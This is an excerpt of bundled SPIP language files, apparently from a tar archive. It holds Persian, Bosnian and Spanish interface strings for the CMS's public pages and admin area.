'participer_site' => 'ميتوانيد با ثبت نام در اين سايت و ارايهى مقالههايتان در فعاليتهاى اين سايت شركت كنيد. به محض ثبت نام، كد ورود به قسمت شخصي سايت با ايميل براي شما ارسال ميشود.',
'plan_site' => 'نقشهى سايت',
'popularite' => 'محبوبيت سايت',
'poster_message' => 'يك پيام بفرستيد',
'proposer_site' => 'ميتوانيد در اين بخش يك سايت پيشنهاد كنيد:',
// R
'repondre_article' => 'پاسخ به اين مقاله',
'repondre_breve' => 'پاسخ به اين خبر',
'resultats_recherche' => 'نتيجهى جستجو',
'retour_debut_forums' => 'بازگشت به ابتداى سخنگاهها',
'rubrique' => 'بخش',
'rubriques' => 'بخشها',
// S
'signatures_petition' => 'امضاها',
'site_realise_avec_spip' => 'سايت با اسپيپ درست شده است',
'sites_web' => 'وب سايتها',
'sous_rubriques' => 'زيربخشها',
'spam' => 'اسپام',
'suite' => 'دنباله',
'sur_web' => 'در تارنما',
'syndiquer_rubrique' => 'مشتركسازي اين بخش',
'syndiquer_site' => 'مشتركسازي تمام سايت',
// T
'texte_lettre_information' => 'نامهى اطلاع رسانى سايت',
'texte_lettre_information_2' => 'نامه سرشمارى تازههاي منتشر شده از :',
// V
'ver_imprimer' => 'نسخهى چاپى',
'voir_en_ligne' => 'آنلاين بنگريد',
'voir_squelette' => 'اسكلت اين صفحه را ببينيد'
);
?>
public_bs.php 0000666 00000006576 15252547432 0007252 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=bs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Pocetna stranica', # MODIF
'articles' => 'Clanci',
'articles_auteur' => 'Clanci ovog autora',
'articles_populaires' => 'Najpopularniji clanci',
'articles_rubrique' => 'Clanci iz ove rubrike',
'aucun_article' => 'Ne postoje clanci na ovoj adresi',
'aucun_auteur' => 'Ne postoje autori na ovoj adresi',
'aucun_site' => 'Ne postoje stranice na ovoj adresi',
'aucune_breve' => 'Ne postoje novosti na ovoj adresi',
'aucune_rubrique' => 'Ne postoje rubrike na ovoj adresi',
'autres_breves' => 'Ostale kratke poruke',
'autres_groupes_mots_clefs' => 'Ostale grupe kljucnih rijeci',
'autres_sites' => 'Ostale stranice',
// B
'bonjour' => 'Dobar dan',
// C
'commenter_site' => 'Dodaj komentar',
// D
'date' => 'Datum',
'dernier_ajout' => 'Posljednje dodavanje',
'dernieres_breves' => 'Posljednje kratke poruke',
'derniers_articles' => 'Posljedni clanci',
'derniers_commentaires' => 'Posljednji komentari',
'derniers_messages_forum' => 'Posljednje poruke u forumu',
// E
'edition_mode_texte' => 'Obradjivanje u text modu',
'en_reponse' => 'Odgovor za:',
'en_resume' => 'Rezime',
'envoyer_message' => 'Posalji poruku',
'espace_prive' => 'Privatni prostor',
// H
'hierarchie_site' => 'Hierarhija stranice',
// J
'jours' => 'Dani',
// M
'meme_auteur' => 'Isti autor',
'meme_rubrique' => 'U istoj rubrici',
'memes_auteurs' => 'Isti autori',
'message' => 'Poruka',
'messages_forum' => 'Poruke iz foruma', # MODIF
'messages_recents' => 'Recentne poruke iz foruma',
'mots_clefs' => 'Kljucne rijeci',
'mots_clefs_meme_groupe' => 'Kljucne rijeci u istoj grupi',
// N
'navigation' => 'Navigacija',
'nom' => 'Ime',
'nouveautes' => 'Novosti',
'nouveautes_web' => 'Novosti na webu',
'nouveaux_articles' => 'Novi clanci',
'nouvelles_breves' => 'Nove kratke poruke',
// P
'page_precedente' => 'prethodna stranica',
'page_suivante' => 'sljedeca stranica',
'par_auteur' => 'od ',
'participer_site' => 'Mozete aktivno ucestvovati i predlagati clanke tako sto ce te se registrovati (ispod). Odmah cete primiti e-mail sa vasom lozinkom za ptistup na privatnu stranicu.',
'plan_site' => 'Plan stranice',
'popularite' => 'Popularnosti',
'poster_message' => 'Posalji poruku',
'proposer_site' => 'Mozete predloziti dodavanje stranice u ovu rubriku',
// R
'repondre_article' => 'Odgovori na ovaj clanak',
'repondre_breve' => 'Odgovori na ovu kratku poruku',
'resultats_recherche' => 'Rezultati pretrage',
'retour_debut_forums' => 'Nazad na pocetak foruma',
'rubrique' => 'Rubrika',
'rubriques' => 'Rubrike',
// S
'signatures_petition' => 'Potpisi',
'site_realise_avec_spip' => 'Stranica realizovana sa SPIP-om',
'sites_web' => 'Web stranice',
'sous_rubriques' => 'Podrubrike',
'suite' => 'nastavi',
'sur_web' => 'Na web-u',
'syndiquer_rubrique' => 'Sindikuj ovu rubriku',
'syndiquer_site' => 'Sindikuj cijelu stranicu',
// T
'texte_lettre_information' => 'Ovo je newsletter stranice',
'texte_lettre_information_2' => 'Ovo pismo koje rezimira clanke i kratke poruke objavljene od', # MODIF
// V
'ver_imprimer' => 'Verzija za printanje',
'voir_en_ligne' => 'Pogledati online'
);
?>
ecrire_es.php 0000666 00000222751 15252547432 0007243 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activar el plugin',
'affichage' => 'Visualización',
'aide_non_disponible' => 'Esta parte de la ayuda en línea aún no está disponible en este idioma.',
'annuler_recherche' => 'Cancelar la búsqueda',
'auteur' => 'Autor/a:',
'avis_acces_interdit' => 'Acceso prohibido.',
'avis_article_modifie' => 'Atención: @nom_auteur_modif@ ha modificado este artículo hace @date_diff@ minutos',
'avis_aucun_resultat' => 'Ningún resultado.',
'avis_base_inaccessible' => 'No se puede conectar a la base de datos @base@.',
'avis_chemin_invalide_1' => 'Ruta de acceso seleccionada',
'avis_chemin_invalide_2' => 'no parece válido. Regrese a la página precedente y compruebe las informaciones procuradas.',
'avis_connexion_echec_1' => 'La conexión con la base de datos ha fallado.',
'avis_connexion_echec_2' => 'Regresa a la página precedente y verifica las informaciones procuradas.',
'avis_connexion_echec_3' => '<b>Aviso:</b> En muchos servidores, es necesario <b>solicitar</b> la activación del acceso a la base de datos SQL antes de poder usarla. En caso de no poder conectarse a la base de datos, compruebe que se ha realizado la activación.',
'avis_connexion_erreur_nom_base' => 'El nombre de la base sólo puede contener letras, dígitos y guiones.',
'avis_connexion_ldap_echec_1' => 'La conexión al servidor LDAP ha fallado.',
'avis_connexion_ldap_echec_2' => 'Regrese a la página anterior y compruebe la información procurada.',
'avis_connexion_ldap_echec_3' => 'Alternativamente, no utilice el soporte LDAP para importar usuarios.',
'avis_deplacement_rubrique' => '¡ATENCIÓN! Esta sección contiene @contient_breves@ breve@scb@. Si la desplaza, active esta casilla de confirmación.',
'avis_destinataire_obligatoire' => 'Debe indicar un destinatario antes de enviar este mensaje.',
'avis_erreur_connexion_mysql' => 'Error de conexión SQL',
'avis_erreur_version_archive' => '<b>¡OjO! El archivo @archive@ corresponde a
otra versión de SPIP, diferente a la instalada.</b> Si continúa podrá encontrar grandes
dificultades: riesgo de destrucción de su base de
datos, disfuncionamientos varios del sitio, etc. No
valide esta importación.<p>Para mayor información, ver
<a href="@spipnet@">la documentación de SPIP</a></p>.',
'avis_espace_interdit' => '<b>Espacio prohibido</b><div>SPIP ya está instalado.</div>',
'avis_lecture_noms_bases_1' => 'El programa de instalación no logró leer los nombres de las bases de datos instaladas.',
'avis_lecture_noms_bases_2' => 'Dos posibilidades: o no hay ninguna base disponible o la función de listado de las bases fue desactivada por razones de seguridad (caso frecuente en muchos hospedajes).',
'avis_lecture_noms_bases_3' => 'En el segundo caso, es probable que una base que tenga como nombre su identificador de usuario sea utilizable:',
'avis_non_acces_message' => 'No tiene acceso a este mensaje.',
'avis_non_acces_page' => 'No tiene acceso a esta página.',
'avis_operation_echec' => 'La operación ha fallado.',
'avis_operation_impossible' => 'Operación imposible',
'avis_probleme_archive' => 'Problema de lectura del archivo @archive@',
'avis_suppression_base' => '¡ATENCIÓN, la supresión de datos es irreversible!',
'avis_version_mysql' => 'Tu servidor SQL (@version_mysql@) no permite la auto-reparación de tablas en la base.',
// B
'bouton_acces_ldap' => 'Añadir un acceso LDAP',
'bouton_ajouter' => 'Añadir',
'bouton_ajouter_participant' => 'AÑADIR UN PARTICIPANTE:',
'bouton_annonce' => 'ANUNCIO',
'bouton_annuler' => 'Anular',
'bouton_cache_activer' => 'Reactivar la caché',
'bouton_cache_desactiver' => 'Desactivar temporalmente la caché',
'bouton_checkbox_envoi_message' => 'posibilidad de enviar un mensaje',
'bouton_checkbox_indiquer_site' => 'indicar obligatoriamente un sitio Web',
'bouton_checkbox_signature_unique_email' => 'una sola firma por correo electrónico',
'bouton_checkbox_signature_unique_site' => 'una sola firma por sitio Web',
'bouton_demande_publication' => 'Pedir la publicación de este artículo',
'bouton_desactive_tout' => 'Desactivar todo',
'bouton_desinstaller' => 'Desinstalar',
'bouton_effacer_index' => 'Borrar los índices',
'bouton_effacer_tout' => '¡Borrar TODO!',
'bouton_envoi_message_02' => 'ENVIAR UN MENSAJE',
'bouton_envoyer_message' => 'Mensaje definitivo: enviar',
'bouton_fermer' => 'Cerrar',
'bouton_mettre_a_jour_base' => 'Actualizar la base de datos',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'RECORDATORIO PERSONAL',
'bouton_radio_activer_messagerie' => 'Activar la mensajería interna',
'bouton_radio_activer_messagerie_interne' => 'Activar la mensajería interna',
'bouton_radio_activer_petition' => 'Activar la petición',
'bouton_radio_afficher' => 'Mostrar',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Aparecer en la lista de redactores y redactoras conectados',
'bouton_radio_desactiver_messagerie' => 'Desactivar la mensajería',
'bouton_radio_envoi_annonces_adresse' => 'Enviar los anuncios a la dirección:',
'bouton_radio_envoi_liste_nouveautes' => 'Enviar la lista de novedades',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'No aparecer en la lista de redactores y redactoras',
'bouton_radio_non_envoi_annonces_editoriales' => 'No enviar anuncios editoriales',
'bouton_radio_pas_petition' => 'Sin petición',
'bouton_radio_petition_activee' => 'Petición activada',
'bouton_radio_supprimer_petition' => 'Suprimir la petición',
'bouton_redirection' => 'Redirección',
'bouton_relancer_installation' => 'Relanzar la instalación',
'bouton_suivant' => 'Siguiente',
'bouton_tenter_recuperation' => 'Intentar reparar',
'bouton_test_proxy' => 'Probar el proxy',
'bouton_vider_cache' => 'Vaciar la caché',
'bouton_voir_message' => 'Ver el mensaje antes de enviarlo',
// C
'cache_mode_compresse' => 'Los archivos de caché se almacenan en modo comprimido.',
'cache_mode_non_compresse' => 'Los archivos de caché se almacenan en modo no comprimido.',
'cache_modifiable_webmestre' => 'Este parámetro es modificable por la webmistress del sitio.',
'calendrier_synchro' => 'Si utiliza un software de agenda compatible <b>iCal</b>, puede sincronizarlo con la actualidad editorial de este sitio.',
'config_activer_champs' => 'Activar los campos siguientes',
'config_choix_base_sup' => 'indicar una base de datos de este servidor',
'config_erreur_base_sup' => 'SPIP no tiene acceso a la lista de bases accesibles',
'config_info_base_sup' => 'Si dispone de otras bases de datos a consultar mediante SPIP, con su servidor SQL o con otro, el formulario siguiente permite declararlas. Si deja vacíos ciertos campos, se usarán los identificadores de la conexión a la base principal.',
'config_info_base_sup_disponibles' => 'Bases de datos suplementarias consultables:',
'config_info_enregistree' => 'La nueva configuración fue guardada',
'config_info_logos' => 'Cada elemento del sitio puede tener un logo, así como un « logo de paso del ratón »',
'config_info_logos_utiliser' => 'Utilizar los logos',
'config_info_logos_utiliser_non' => 'No utilizar los logos',
'config_info_logos_utiliser_survol' => 'Utilizar los logos de paso del ratón',
'config_info_logos_utiliser_survol_non' => 'No utilizar los logos de paso del ratón',
'config_info_redirection' => 'Activando esta opción, se podrán crear artículos virtuales, que son simples referencias de artículos publicados en otros sitios o fuera de SPIP.',
'config_redirection' => 'Artículos virtuales',
'config_titre_base_sup' => 'Declaración de una base suplementaria',
'config_titre_base_sup_choix' => 'Elige una base suplementaria',
'connexion_ldap' => 'Conexión:',
'copier_en_local' => 'Copiar en local',
'creer_et_associer_un_auteur' => 'Crear y asociar un autor',
'creer_et_associer_une_rubrique' => 'Crear y asociar una sección',
// D
'date_mot_heures' => 'horas',
// E
'ecran_securite' => ' + pantalla de seguridad @version@',
'email' => 'correo electrónico',
'email_2' => 'correo electrónico:',
'en_savoir_plus' => 'Más información',
'entree_adresse_annuaire' => 'Dirección del anuario',
'entree_adresse_email' => 'Tu correo electrónico',
'entree_adresse_email_2' => 'Dirección correo electrónico',
'entree_base_donnee_1' => 'Dirección de la base de datos',
'entree_base_donnee_2' => '(A menudo esta dirección corresponde a la de su sitio, a veces corresponde a la mención «localhost» y, en ocasiones, se deja totalmente vacía.)',
'entree_biographie' => 'Una corta biografía, en pocas palabras...',
'entree_chemin_acces' => '<b>Introducir</b> el camino de acceso:',
'entree_cle_pgp' => 'Su clave PGP',
'entree_cle_pgp_2' => 'Clave PGP',
'entree_contenu_rubrique' => '(Contenido de la sección en pocas palabras)',
'entree_identifiants_connexion' => 'Sus identificadores de conexión...',
'entree_identifiants_connexion_2' => 'Identificadores de conexión',
'entree_informations_connexion_ldap' => 'Escriba en este formulario los datos de conexión a su directorio LDAP. Tales informaciones le serán transmitidas por el administrador del sistema o de la red.',
'entree_infos_perso' => '¿Quién es usted?',
'entree_infos_perso_2' => '¿Quién es el/la autor/a?',
'entree_interieur_rubrique' => 'En el interior de la sección...',
'entree_liens_sites' => '<b>Enlace hipertexto </b>(referencia, sitio para visitar, ...)',
'entree_login' => 'Su nombre de usuario',
'entree_login_connexion_1' => 'Su identificador de conexión',
'entree_login_connexion_2' => '(A veces corresponde a su identificador de conexión; a veces se deja vacío)',
'entree_login_ldap' => 'Login LDAP inicial',
'entree_mot_passe' => 'Su contraseña',
'entree_mot_passe_1' => 'Su contraseña de conexión',
'entree_mot_passe_2' => '(A veces corresponde a tu contraseña FTP y a veces se deja en blanco)',
'entree_nom_fichier' => 'Introducir el nombre del archivo @texte_compresse@:',
'entree_nom_pseudo' => 'Su nombre o pseudónimo',
'entree_nom_pseudo_1' => '(Su nombre o pseudónimo)',
'entree_nom_pseudo_2' => 'Nombre o seudónimo',
'entree_nom_site' => 'El nombre de su sitio',
'entree_nom_site_2' => 'Nombre del sitio del/a autor/a',
'entree_nouveau_passe' => 'Nueva contraseña',
'entree_passe_ldap' => 'Tu contraseña',
'entree_port_annuaire' => 'El número de puerto del anuario',
'entree_signature' => 'Firma',
'entree_titre_obligatoire' => '<b>Título</b> [Obligatorio]<br />',
'entree_url' => 'La dirección (URL) de su sitio',
'entree_url_2' => 'Dirección (URL) del sitio',
'erreur_connect_deja_existant' => 'Ya existe un servidor con este nombre',
'erreur_nom_connect_incorrect' => 'Este nombre de servidor no esta autorizado',
'erreur_plugin_desinstalation_echouee' => 'La desinstalación del plugin ha fracasado. No obstante, puede desactivarlo.',
'erreur_plugin_fichier_absent' => 'Archivo inexistente ',
'erreur_plugin_fichier_def_absent' => 'Archivo de definición inexistente',
'erreur_plugin_nom_fonction_interdit' => 'Nombre de función prohibido',
'erreur_plugin_nom_manquant' => 'Falta el nombre del plugin',
'erreur_plugin_prefix_manquant' => 'Espacio de nombres del plugin no definido',
'erreur_plugin_tag_plugin_absent' => 'Falta el <plugin> en el archivo de definición',
'erreur_plugin_version_manquant' => 'Falta la versión del plugin',
// H
'htaccess_a_simuler' => 'Advertencia: la configuración de su servidor HTTP no toma en cuenta los archivos @htaccess@. Para poder asegurar una buena seguridad, debe modificar la configuración correspondiente, o bien que las constantes @constantes@ (que se pueden definir en el archivo mes_options.php) tomen valores de carpetas fuera de @document_root@.',
'htaccess_inoperant' => 'htaccess inoperante',
// I
'ical_info1' => 'En esta página se presentan diferentes maneras de quedar en contacto con la vida del sitio.',
'ical_info2' => 'Para mayor información sobre todas estas técnicas, no dude en consultar <a href="@spipnet@">la documentación de SPIP</a>.',
'ical_info_calendrier' => 'Tiene dos calendarios a tu disposición. El primero es un plano del sitio que anuncia todos los artículos publicados. El segundo contiene los anuncios editoriales y sus últimos mensajes privados: sólo usted lo ve gracias a una clave personal, que podrá modificar en cualquier momento cambiando su contraseña.',
'ical_methode_http' => 'Descargar',
'ical_methode_webcal' => 'Sincronización (webcal://)',
'ical_texte_js' => 'Una línea de javascript le permite mostrar muy simplemente, en cualquier sitio que le pertenezca, los artículos recientes publicados en este sitio.',
'ical_texte_prive' => 'Este calendario, de uso estrictamente personal, le informa de la actividad editorial privada de este sitio (tareas y citas personales, artículos y breves propuestos...).',
'ical_texte_public' => 'Este calendario permite seguir la actividad pública del sitio (artículos y breves publicados).',
'ical_texte_rss' => 'Puede sindicar las novedades de este sitio con cualquier lector de archivos al formato XML/RSS (Rich Site Summary). Igualmente, SPIP puede leer las novedades publicadas en otros sitios que utilizan un formato de intercambio compatible (sitios sindicados). ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lista de correo',
'ical_titre_rss' => 'Archivos de sindicación',
'icone_accueil' => 'Mis tareas',
'icone_activer_cookie' => 'Activar la "cookie" de correspondencia',
'icone_activite' => 'Actividad',
'icone_admin_plugin' => 'Gestión de los plugins',
'icone_administration' => 'Administración',
'icone_afficher_auteurs' => 'Mostrar los autores',
'icone_afficher_visiteurs' => 'Mostrar los visitantes',
'icone_arret_discussion' => 'No participar más en este diálogo',
'icone_calendrier' => 'Calendario',
'icone_configuration' => 'Configuración',
'icone_creer_auteur' => 'Crear un nuevo autor o autora y asociarla a este artículo',
'icone_creer_mot_cle' => 'Crear una nueva palabra clave y asociarla a este artículo',
'icone_creer_mot_cle_rubrique' => 'Crear una nueva palabra clave y aplicarla a esta sección',
'icone_creer_mot_cle_site' => 'Crear una nueva palabra clave y aplicarla a este sitio',
'icone_creer_rubrique_2' => 'Crear una nueva sección',
'icone_edition' => 'Edición',
'icone_envoyer_message' => 'Enviar el mensaje',
'icone_ma_langue' => 'Mi idioma',
'icone_mes_infos' => 'Mis datos',
'icone_mes_preferences' => 'Mis preferencias',
'icone_modifier_article' => 'Modificar este artículo',
'icone_modifier_message' => 'Modificar el mensaje',
'icone_modifier_rubrique' => 'Modificar esta sección',
'icone_publication' => 'Publicación',
'icone_relancer_signataire' => 'Recordar al firmante',
'icone_retour' => 'Volver',
'icone_retour_article' => 'Volver al artículo',
'icone_squelette' => 'Esqueletos',
'icone_suivi_publication' => 'Seguir la publicación',
'icone_supprimer_cookie' => 'Suprimir la "cookie" de correspondencia',
'icone_supprimer_rubrique' => 'Suprimir esta sección',
'icone_supprimer_signature' => 'Suprimir esta firma',
'icone_valider_signature' => 'Validar esta firma',
'image_administrer_rubrique' => 'Puedes administrar esta sección',
'impossible_modifier_login_auteur' => 'No se puede modificar el nombre de usuario.',
'impossible_modifier_pass_auteur' => 'No se puede modificar la contraseña.',
'info_1_article' => '1 artículo',
'info_1_article_syndique' => '1 artículo sindicado',
'info_1_auteur' => '1 autor/a',
'info_1_message' => '1 mensaje',
'info_1_mot_cle' => '1 palabra-clave',
'info_1_rubrique' => '1 sección',
'info_1_site' => '1 sitio',
'info_1_visiteur' => '1 visitante',
'info_activer_cookie' => 'Puede activar una <b>"cookie" de correspondencia</b>, que le permite actualizar páginas y pasar fácilmente de la parte pública a la redacción.',
'info_admin_etre_webmestre' => 'Darme derechos de webmaster',
'info_admin_gere_rubriques' => 'Esta persona administra las secciones siguientes:',
'info_admin_gere_toutes_rubriques' => 'Este/a administrador/a maneja <b>todas las secciones</b>.',
'info_admin_gere_toutes_rubriques_2' => 'Manejo <b>todas las secciones</b>',
'info_admin_je_suis_webmestre' => 'Soy <b>webmaster</b>',
'info_admin_statuer_webmestre' => 'Dar a este/a administrador/a derechos de webmaster',
'info_admin_webmestre' => 'Este/a administrador/a es <b>webmaster</b>',
'info_administrateur' => 'Administrador',
'info_administrateur_1' => 'Administrador',
'info_administrateur_2' => 'del sitio (<i>a utilizar con precaución</i>)',
'info_administrateur_site_01' => 'Si tiene derechos de administración, se ruega',
'info_administrateur_site_02' => 'presiona y visita este enlace',
'info_administrateurs' => 'Administradores',
'info_administrer_rubrique' => 'Puede administrar esta sección',
'info_adresse' => 'a la dirección:',
'info_adresse_url' => 'Dirección (URL) del sitio público',
'info_afficher_par_nb' => 'Visualizar por',
'info_afficher_visites' => 'Mostrar las visitas para:',
'info_aide_en_ligne' => 'Ayuda en línea de SPIP',
'info_ajout_image' => 'Cuando se añaden imágenes en tanto que documentos, SPIP puede crear automáticamente iconos de estas imágenes insertadas (miniaturas). Resulta útil, por ejemplo, para crear una galería o portafolio.',
'info_ajout_participant' => 'El participante siguiente ha sido añadido:',
'info_ajouter_rubrique' => 'Añadir otra sección para administrar:',
'info_annonce_nouveautes' => 'Anunciar novedades',
'info_anterieur' => 'anterior',
'info_article' => 'artículo',
'info_article_2' => 'artículos',
'info_article_a_paraitre' => 'Los artículos con fecha posterior a ser publicados',
'info_articles_02' => 'artículos',
'info_articles_2' => 'Artículos',
'info_articles_auteur' => 'Los artículos de este autor o autora',
'info_articles_miens' => 'Mis artículos',
'info_articles_tous' => 'Todos los artículos',
'info_articles_trouves' => 'Artículos localizados',
'info_articles_trouves_dans_texte' => 'Artículos encontrados (en el texto)',
'info_attente_validation' => 'Sus artículos en espera de validación',
'info_aucun_article' => 'Ningún artículo',
'info_aucun_article_syndique' => 'Ningún artículo sindicado',
'info_aucun_auteur' => 'Ningún autor',
'info_aucun_message' => 'Ningún mensaje',
'info_aucun_rubrique' => 'Ninguna sección',
'info_aucun_site' => 'Ningún sitio',
'info_aucun_visiteur' => 'Ningún visitante',
'info_aujourdhui' => 'hoy:',
'info_auteur_message' => 'AUTOR O AUTORA DEL MENSAJE:',
'info_auteurs' => 'Autores',
'info_auteurs_par_tri' => 'Autores@partri@',
'info_auteurs_trouves' => 'Autores encontrados',
'info_authentification_externe' => 'Autentificación externa',
'info_avertissement' => 'Advertencia',
'info_barre_outils' => '¿con su barra de herramientas?',
'info_base_installee' => 'La estructura de tu base de datos ha sido instalada',
'info_bio' => 'Biografía',
'info_cache_desactive' => 'La caché está temporalmente desactivada.',
'info_chapeau' => 'Epígrafe',
'info_chapeau_2' => 'Epígrafe:',
'info_chemin_acces_1' => 'Opciones: <b>Camino de acceso en el directorio</b>',
'info_chemin_acces_2' => 'Debe configurar el camino de acceso a la información en el anuario. Esta información es indispensable para leer los perfiles de personas almacenadas en el anuario.',
'info_chemin_acces_annuaire' => 'Opciones: <b>Camino de acceso en el directorio</b>',
'info_choix_base' => 'Tercera etapa:',
'info_classement_1' => '<sup>o</sup> sobre @liste@',
'info_classement_2' => '<sup>o</sup> sobre @liste@',
'info_code_acces' => '¡No olvide sus códigos de acceso!',
'info_compatibilite_html' => '¿Qué norma HTML seguir?',
'info_compresseur_gzip' => 'Se recomienda verificar previamente si el proveedor ya comprime sistemáticamente los scripts php; para lo cual se puede utilizar, por ejemplo, el servicio siguiente: @testgzip@',
'info_compresseur_texte' => 'Si su servidor no comprime automáticamente las páginas html para enviarlas a los internautas, puedes intentar forzar la compresión para disminuir el tamaño de las páginas enviadas. <b>Atención:</b> esto puede ralentizar considerablemente ciertos servidores.',
'info_config_suivi' => 'Si esta dirección corresponde a una lista de correo, puede indicar aquí abajo la dirección en la cual los participantes del sitio pueden inscribirse. Esta dirección puede ser una URL (por ejemplo la página de inscripción a la lista por la web), o una dirección de correo electrónico con un asunto específico (por ejemplo: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Puede suscribirse a la lista de correo de este sitio. Recibirás por correo electrónico los anuncios de artículos y de breves propuestas a la publicación.',
'info_confirmer_passe' => 'Confirmar la nueva contraseña:',
'info_conflit_edition_avis_non_sauvegarde' => 'Atención, los siguientes campos han sido modificados por otro lado. Sus modificaciones sobre estos campos no han sido por tanto registradas.',
'info_conflit_edition_differences' => 'Diferencias:',
'info_conflit_edition_version_enregistree' => 'La versión registrada:',
'info_conflit_edition_votre_version' => 'Su versión:',
'info_connexion_base' => 'Intento de conexión a la base',
'info_connexion_base_donnee' => 'Conexión a su base de datos',
'info_connexion_ldap_ok' => '<b>Se logró la conexión LDAP.</b><p> Puede pasar a la etapa siguiente.</p>',
'info_connexion_mysql' => 'Tu conexión SQL',
'info_connexion_ok' => 'La conexión ha funcionado.',
'info_contact' => 'Contacto',
'info_contenu_articles' => 'Contenido de los artículos',
'info_contributions' => 'Contribuciones',
'info_creation_paragraphe' => 'Para crear párrafos, deje simplemente líneas vacías.',
'info_creation_rubrique' => 'Antes de poder escribir artículos,<br /> debe crear al menos una sección.<br />',
'info_creation_tables' => 'Creación de las tablas de la base',
'info_creer_base' => '<b>Crear</b> una nueva base de datos:',
'info_dans_rubrique' => 'En la sección...',
'info_date_publication_anterieure' => 'Fecha de redacción anterior:',
'info_date_referencement' => 'FECHA DE SINDICACIÓN DE ESTE SITIO :',
'info_derniere_etape' => '¡Ya terminamos!',
'info_derniers_articles_publies' => 'Sus últimos artículos publicados',
'info_desactiver_messagerie_personnelle' => 'Puede activar o desactivar su mensajería personal en este sitio.',
'info_descriptif' => 'Descripción:',
'info_desinstaller_plugin' => 'suprime los datos y desactiva el plugin',
'info_discussion_cours' => 'Debates en curso',
'info_ecrire_article' => 'Antes de escribir artículos, debe crear una sección.',
'info_email_envoi' => 'Dirección de correo de envío (opcional)',
'info_email_envoi_txt' => 'Indique aqui la dirección a utilizar para enviar los correos electrónicos (por defecto, se utiliza la dirección del destinatario como dirección de envío):',
'info_email_webmestre' => 'Dirección de correo electrónico del webmaster',
'info_entrer_code_alphabet' => 'Introduzca el código del alfabeto a utilizar',
'info_envoi_email_automatique' => 'Envío automático de correos electrónicos',
'info_envoyer_maintenant' => 'Enviar ahora',
'info_etape_suivante' => 'Pasar a la siguiente etapa ',
'info_etape_suivante_1' => 'Puede pasar a la siguiente etapa ',
'info_etape_suivante_2' => 'Puede pasar a la siguiente etapa',
'info_exceptions_proxy' => 'Excepciones para el proxy',
'info_exportation_base' => 'exportación de la base hacia @archive@',
'info_facilite_suivi_activite' => 'Para facilitar el seguimiento de la actividad editorial, SPIP puede enviar por correo electrónico, por ejemplo a un lista de redactores, anuncios de solicitudes de publicación y de validación de artículos.',
'info_fichiers_authent' => 'Archivos de autentificación «.htpasswd»',
'info_forums_abo_invites' => 'Su sitio tiene foros para abonados; en el sitio público se invita a los visitantes a que se registren.',
'info_gauche_admin_effacer' => '<b>A esta página sólo pueden acceder los responsables del sitio.</b><p> Da acceso a las distintas funciones de mantenimiento técnico. Algunas de ellas comprenden un proceso de autenticación, que requiere un acceso FTP al sitio web.</p>',
'info_gauche_admin_tech' => '<b>Esta página sólo es accesible para los responsables del sitio.</b><p> Da acceso a las distintas funciones de mantenimiento técnico. Algunas de ellas requieren un proceso de autentificación para el cual es necesario tener acceso por FTP al sitio web.</p>',
'info_gauche_admin_vider' => '<b>Esta página sólo es accesible para los responsables del sitio.</b><p> Da acceso a las distintas funciones de mantenimiento técnico. Algunas de ellas dan lugar a un proceso de autentificación para el cual es necesario tener acceso por FTP al sitio web.</p>',
'info_gauche_auteurs' => 'Aquí figuran todos los autores del sitio.
Su estatus se indica mediante el color de su icono (administrador/a = verde; redactor/a = amarillo).',
'info_gauche_auteurs_exterieurs' => 'Los autores exteriores, sin acceso al sitio, están indicados con un icono azul; los que están borrados por un icono gris.',
'info_gauche_messagerie' => 'La mensajería permite comunicarse, crear recordatorios para traer a la memoria algo o publicar anuncios (en el caso de pertenecer al grupo de administración).',
'info_gauche_numero_auteur' => 'AUTOR NÚMERO',
'info_gauche_statistiques_referers' => 'Esta página presenta la lista de los <i>referers</i>, es decir, de los sitios que contienen enlaces que llevan a su propio sitio, sólo para ayer y hoy; esta lista se pone a cero cada 24 horas.',
'info_gauche_visiteurs_enregistres' => 'Aquí se encuentran las personas registradas en el espacio público del sitio (foros con suscripción).',
'info_generation_miniatures_images' => 'Generación de las miniaturas de imágenes',
'info_gerer_trad' => '¿Manejar los enlaces de traducción?',
'info_gerer_trad_objets' => '@objets@: manejar los vínculos de traducción',
'info_hebergeur_desactiver_envoi_email' => 'Algunos servidores no permiten el envío automático de correos electrónicos. En esos casos, las siguientes funciones de SPIP no darán ningún resultado.',
'info_hier' => 'ayer:',
'info_historique_activer' => 'Activar el seguimiento de revisiones',
'info_historique_affiche' => 'Mostrar esta versión',
'info_historique_comparaison' => 'comparación',
'info_historique_desactiver' => 'Desactivar el seguimiento de revisiones',
'info_historique_texte' => 'El seguimiento de revisiones permite conservar un historial de todas las modificaciones hechas en el contenido de un artículo, y mostrar las diferencias entre las sucesivas versiones.',
'info_identification_publique' => 'Su identidad pública...',
'info_image_process' => 'Por favor seleccione el mejor método de fabricación de viñetas pinchando en la imágen correspondiente. ',
'info_image_process2' => 'Si no aparece ninguna imagen, es que el servidor que alberga su sitio web no está configurado para usar estas herramientas. Si quiere utilizarlas, contacte al responsable técnico y solicite las extensiones «GD» o «Imagick».',
'info_images_auto' => 'Imágenes calculadas automáticamente',
'info_informations_personnelles' => 'Información personal',
'info_inscription_automatique' => 'Inscripcción automática de nuevos redactores',
'info_jeu_caractere' => 'Juego de caracteres del sitio',
'info_jours' => 'días',
'info_laisser_champs_vides' => 'dejar estos campos vacíos)',
'info_langues' => 'Idiomas del sitio',
'info_ldap_ok' => 'La autentificación LDAP está instalada.',
'info_lien_hypertexte' => 'Enlace hipertexto:',
'info_liste_nouveautes_envoyee' => 'La lista de novedades ha sido enviada',
'info_liste_redacteurs_connectes' => 'Lista de redactores conectados',
'info_login_existant' => 'Este nombre de usuario ya existe.',
